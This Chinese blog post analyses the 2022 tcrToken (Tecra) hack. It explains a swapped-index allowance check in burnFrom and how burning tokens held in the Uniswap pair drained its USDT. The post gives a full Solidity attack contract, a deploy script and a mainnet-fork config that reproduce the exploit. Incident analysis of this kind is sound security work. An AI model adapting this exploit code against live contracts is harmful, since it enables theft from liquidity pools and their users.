defi直接价格操纵经典案例-tcrToken被黑事件分析

可以销毁任意用户的tcrToken代币?听起来好像是损人不利已的鸡肋漏洞,黑客是如何搞到63.9万的USDT的呢?

1. 基本信息

tcrToken是Tecra公司发行的代币。Tecra是区块链创新型初创公司,公司参与影响世界数字化发展 的差异化业务和科学活动,期望通过独特的区块链解决方案努力解决与当前全球经济和21 世纪技术进步特别相关的问题。关于公司的去中心化交易系统的说明,可以参考https://tecra.space/files/Tecra_Space_Light_Paper_CN.pdf

此次的黑客攻击事件发生2022-02-04,黑客使用0.04个ETH(大约112个USDT)的成本,获得了63.9万个的USDT。漏洞出现在于tcrToken合约burnFrom函数中,主要原因是代码中销毁操作的前置判断条件出错,导致攻击者可以绕过判断,可以注销任意用户的tcrToken代币

可以销毁任意用户的tcrToken代币?听起来好像是损人不利已的鸡肋漏洞,黑客是如何搞到63.9万的USDT的呢?

黑客通过销毁uniswap Pair合约(USDT对tcrToken)中的tcrToken的数量,从而控制USDT与 tcrToken的兑换比例,继而通过uniswap 的兑换出更多的USDT,这也是defi直接价格操纵的经典手法。

2. 漏洞分析

攻击交易: https://cn.etherscan.com/tx/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154

tcrToken合约地址: https://cn.etherscan.com/token/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1?a=0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15#code

1. 代币任意销毁漏洞

漏洞存在于tcrToken合约burnFrom函数中,该函数本意是,将参数from地址的amount个tcrToken进行销毁。在函数入口处使用了require来确保from地址有对msg.sender进行了代币操作的授权,但该require语句存在bug。完成的函数代码如下:

function burnFrom(address from, uint256 amount) external {
        require(_allowances[msg.sender][from] >= amount, ERROR_ATL);
        require(_balances[from] >= amount, ERROR_BTL);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        _burn(from, amount);
    }

require语句中,判断from地址给msgsender进行了足够的操作授权,应当使用_allowances[from][msg.sender]与amount进行比较,而原始代码中使用了_allowances[msg.sender][from]进行了比较,而_allowances[msg.sender][from]是msg.sender可以控制的。

正常的require的写法应该是:

require(_allowances[from][msg.sender] >= amount, ERROR_ATL);  // 原始合约中这一句写错了,导致了bug的出现....
require(_balances[from] >= amount, ERROR_BTL);
_approve( from, msg.sender, _allowances[msg.sender][from] - amount); // 原始中这一句写错了....

原始合约中错误的写法是:

require(_allowances[msg.sender][from] >= amount, ERROR_ATL);

2. uniswap价格操纵攻击

uniswap中价格计算公式如下:

$$ F(x)=(0.997x/(0.997x+Rx))*Ry $$

流动池中的代币假设为X和Y,其中

F(x)表示用户可以用 x 数量的代币 X 可以兑换出来的代币 Y 的数量。

RX:流动性池中代币X的余额

RY:流动性池中代币Y的余额

在本案例中,Pair合约的地址为: https://etherscan.io/address/0x420725a69e79eeffb000f98ccd78a52369b6c5d4#code

我们做个类比,

  • token1为tcrToken(0xE38B72d6595FD3885d1D2F770aa23E94757F91a1),对应着上面公式中的X
  • token0为USDT(0xdac17f958d2ee523a2206206994597c13d831ec7),对应着上面公式中的Y

那么,根据上面的公式,在池子中的Y的余额不变的情况下,只要池子中X的余额大幅减少(即Rx大幅减少),分母减少,会导致计算的结果增大,也就是可以换出更多的Y(USDT)。

因此,攻击者通过2.1中的任意销毁漏洞,将流动性池中tcrToken的数量进行了销毁,从面使Rx的数量大幅减少,从而可以换得更多的USDT。

这种价格操纵方式为直接价格操纵,通过通过执行非预期的交易来操纵AMM中LP池中的toekn的价格。

3. 漏洞利用过程

黑客的攻击流程如下:

  1. 使用0.04个weth在uniswap上兑换出101.145个tcrToken
  2. 调用tcrToken的burnFrom触发漏洞,将pair合约(USDT和tcrToken的pair合约)中销毁58万个tcrToken。这就会导致tcrToken可以换出更多的USDT.
  3. 将第1步中的101.145个tcrToken在pair合约中换回63万个USDT。
  4. 将63.9万个USDT转到个人账户。收工~~

如果使用blocksec分析的话,可以使用下面的地址配置

{
    "0x0000000000000000000000000000000000000000": "Null Address: 0x000…000",
    "0xe38b72d6595fd3885d1d2f770aa23e94757f91a1": "TCR",
    "0x7a250d5630b4cf539739df2c5dacb4c659f2488d": "Uniswap V2: Router 2",
    "0x420725a69e79eeffb000f98ccd78a52369b6c5d4": "Uniswap V2: USDT-TCR",
    "0x0d4a11d5eeaac28ec3f61d100daf4d40471f1852": "Uniswap V2: USDT",
    "0xdac17f958d2ee523a2206206994597c13d831ec7": "USDT",
    "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2": "WETH",
    "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee": "Ether",
    "0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15": "AttackContract",
    "0xb19b7f59c08ea447f82b587c058ecbf5fde9c299": "AttackEOA"
}

111111.png

4. 攻击复现

使用hardhat进行攻击过程复现。

使用 npx hardhat run scripts/deploy.ts --network hardhat 进行攻击过程复现,攻击复现时打印的攻击流程日志如下:

111111111.png

1.编写攻击合约attack.sol

攻击合约中主要在startAttack函数中完成攻击过程(黑客的攻击是在合约的fallback函数中完成的攻击,攻击复现中这点与原始的黑客攻击流程并不完全一致)。

startAttack函数的流程为:

  1. 将Attack合约中的所有的WETH使用UniswapV2Router兑换成TcrToken.
  2. 调用tcrToken合约的burnFrom漏洞函数,将Uniswap的Pair中的tcrToken销毁,这将影响到USDT与tcrToken的兑换比例,完成销毁后,更少的tcrToken可以兑换出更多的USDT。
  3. 将1中得到的tcrToken在Uniswap的Pair中兑换成USDT
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8;

// Import this file to use console.log
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/TetherToken.sol";
import "./interfaces/Uniswap.sol";
import "./interfaces/TcrToken.sol";

contract Attack {
    address payable public owner;
    address USDTAddr = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address TCRAddr = 0xE38B72d6595FD3885d1D2F770aa23E94757F91a1;
    address RouterAddr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address PairAddr = 0x420725A69E79EEffB000F98Ccd78a52369b6C5d4;

    address WETHAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    uint256 MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
    constructor() payable {
        owner = payable(msg.sender);
    }
    modifier onlyOwner(){
        require(msg.sender == owner, "onlyOnner is allow");
        _;
    }
    function kill(address addr) public onlyOwner {
        selfdestruct(payable(addr));
    }

    function startAttack() public onlyOwner{
        TetherToken USDT = TetherToken(USDTAddr);
        TcrToken TCR = TcrToken(TCRAddr);

        // 进行授权
        USDT.approve(RouterAddr, MAX_INT);
        TCR.approve(RouterAddr, MAX_INT);
        TCR.approve(PairAddr, MAX_INT);

        UniswapV2Pair pair = UniswapV2Pair(PairAddr);

        // 将Attack合约中所有的ETH兑换成tcrToken
        uint256 wethAmount = address(this).balance;
        UniswapV2Router router = UniswapV2Router(RouterAddr);
        uint256 amountOutMin;
        address[] memory path = new address[](3);
        path[0] = WETHAddr;
        path[1] = USDTAddr;
        path[2] = TCRAddr;
        uint256 deadline = block.timestamp + 24 hours;
        router.swapExactETHForTokens{value: wethAmount}(amountOutMin, path, address(this), deadline);
        console.log("1.swap eth to tcrToken. %s ETH swap to %s tcrToken.", wethAmount, TCR.balanceOf(address(this)));

        // 计算Pair合约中tcrToken的余额,用来评估可以销毁掉多少tcrToken
        uint256 pairTcrBalance =  TCR.balanceOf(PairAddr);
        console.log("At begining, Pair Contract has %s tcrToken:", pairTcrBalance);
        console.log("2. Call the Vulnerable burnFrom function.");
        TCR.burnFrom(PairAddr, pairTcrBalance-100000000);
        pair.sync();

        console.log("3. Swap tcr for USDT.");
        uint256 thisTcrBalance = TCR.balanceOf(address(this));
        uint256 amountOut;
        address[] memory path2 = new address[](2);
        path2[0] = TCRAddr;
        path2[1] = USDTAddr;
        router.swapExactTokensForTokens(thisTcrBalance, amountOut, path2, address(this), deadline);
        uint256 lastUsdt = USDT.balanceOf(address(this));

        console.log("%s tcr swap to %s USDT", thisTcrBalance, lastUsdt);

        console.log("4. Transfer %s USDT to hacker.", lastUsdt);
        USDT.transfer(msg.sender, lastUsdt);
    }
}

2. 编写部署脚本deploy.ts

部署合约的脚本实现两个功能:

  1. 部署Attack合约,并且给合约转入0.04个ETH.
  2. 调用Attack合约startAttack函数
import { ethers } from "hardhat";
import {TetherToken__factory} from "../typechain-types";

async function main() {
  let Alice, AttackDeployer;
  [Alice, AttackDeployer] = await ethers.getSigners();

  const initAmount = ethers.utils.parseEther("0.04");
  const Attack = await ethers.getContractFactory("Attack", AttackDeployer);
  const attack = await Attack.deploy({ value: initAmount });
  await attack.deployed();
  console.log("attack with 0.04 ETH deployed to:", attack.address);

  const USDTAddr = "0xdAC17F958D2ee523a2206206994597C13D831ec7"

  const USDT = TetherToken__factory.connect(USDTAddr, Alice)
  console.log("AttackDeployer USDT balance:", await USDT.balanceOf(AttackDeployer.address));
  await attack.startAttack();
  console.log("AttackDeployer USDT balance:", await USDT.balanceOf(AttackDeployer.address));
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

3. hardhat配置文件

一定要从14139081区块进行fork。

import { HardhatUserConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox";

const config: HardhatUserConfig = {
  solidity:{
    compilers: [
      {
        version: "0.8.2",
      },
    ],
  },
  networks: {
    hardhat: {
      forking: {
        url: "https://eth-mainnet.g.alchemy.com/v2/xxxxxxxx",
        blockNumber: 14139081,
      }
    }
  }
};

export default config;

5. 总结

  1. 漏洞的根本原因在于对于合约的_allowances的使用错误。_allowances条件判断出错,导致可以任意销毁tcrToken代币,黑客通过销毁掉uniswap Pair合约中的代币,从而控制Pair合约的兑换比例,用少量的tcrToken代币兑换出大量的USDT,将Pair合约的池子掏空,实现获利。
  2. 代币任意销毁漏洞并不是只能损人而不利已。 代币的任意销毁结合直接价格操纵成就了经典的defi攻击案例。

6. 参考

https://dashboard.tenderly.co/tx/mainnet/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154/debugger?trace=0.4 https://cn.etherscan.com/tx/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154 https://tools.blocksec.com/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154 https://tecra.space/

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2022-08-03 20:00
  • 阅读 ( 282 )
  • 学分 ( 8 )
  • 分类:安全

0 条评论

请先 登录 后评论
小驹
小驹

8 篇文章, 162 学分